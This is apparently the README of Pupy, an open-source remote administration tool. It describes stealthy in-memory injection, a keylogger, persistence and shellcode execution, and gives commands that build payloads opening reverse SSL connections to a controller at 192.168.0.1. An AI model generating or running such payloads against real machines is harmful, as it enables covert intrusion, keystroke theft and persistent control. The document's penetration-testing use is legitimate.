Pupy

Pupy is an opensource, multi-platform Remote Administration Tool written in Python. On Windows, Pupy uses reflective dll injection and leaves no traces on disk.

Features :

On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
Pupy can reflectively migrate into other processes
Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
modules are quite simple to write and pupy is easily extensible.
Pupy uses rpyc and a module can directly access python objects on the remote client
- we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future
all the non interactive modules can be dispatched on multiple hosts in one command
Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)
modules can be executed as background jobs
commands and scripts running on remote hosts are interruptible
auto-completion and nice colored output :-)
commands aliases can be defined in the config

Implemented Modules :

migrate
- inter process architecture injection also works (x86->x64 and x64->x86)
keylogger
persistence

in memory execution of PE exe both x86 and x64 :)
command execution
download
upload
socks5 proxy
local port forwarding
interactive shell (cmd.exe, /bin/sh, ...)
interactive python shell
shellcode exec (thanks to @byt3bl33d3r)

##Quick start In these examples the server is running on a linux host (tested on kali linux) and it's IP address is 192.168.0.1
The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

generate/run a payload

for Windows

./pupygen.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/load it by your own means.

for Linux

pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

for MAC OS X

easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

start the server

eventually edit pupy.conf to change the bind address / port
start the pupy server :

./pupysh.py

##Example: How to write a MsgBox module first of all write the function/class you want to import on the remote client
in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py

import ctypes
import threading

def MessageBox(text, title):
	t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
	t.daemon=True
	t.start()

then, simply create a module to load our package and call the function remotely

class MsgBoxPopup(PupyModule):
	""" Pop up a custom message box """

	def init_argparse(self):
		self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
		self.arg_parser.add_argument('--title', help='msgbox title')
		self.arg_parser.add_argument('text', help='text to print in the msgbox :)')

	@windows_only
	def is_compatible(self):
		pass

	def run(self, args):
		self.client.load_package("pupwinutils.msgbox")
		self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
		self.log("message box popped !")

Dependencies

rpyc (https://github.com/tomerfiliba/rpyc)

##Roadmap and ideas Some ideas without any priority order

support for https proxy
bind instead of reverse connection
add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
integrate scapy in the windows dll :D (that would be fun)
work on stealthiness and modules under unix systems
mic recording
socks5 udp support
remote port forwarding
perhaps write some documentation
The backdoor factory ?
Impacket ?
exfiltration through obfsproxy obfuscated network stream ?
...
any cool idea ?

FAQ

Does the server works on windows ? Yes but it has not really been tested and it may be unstable I can't install it how does it work ? pip install rpyc hey c4n y0u add a DDOS module plzz? No.
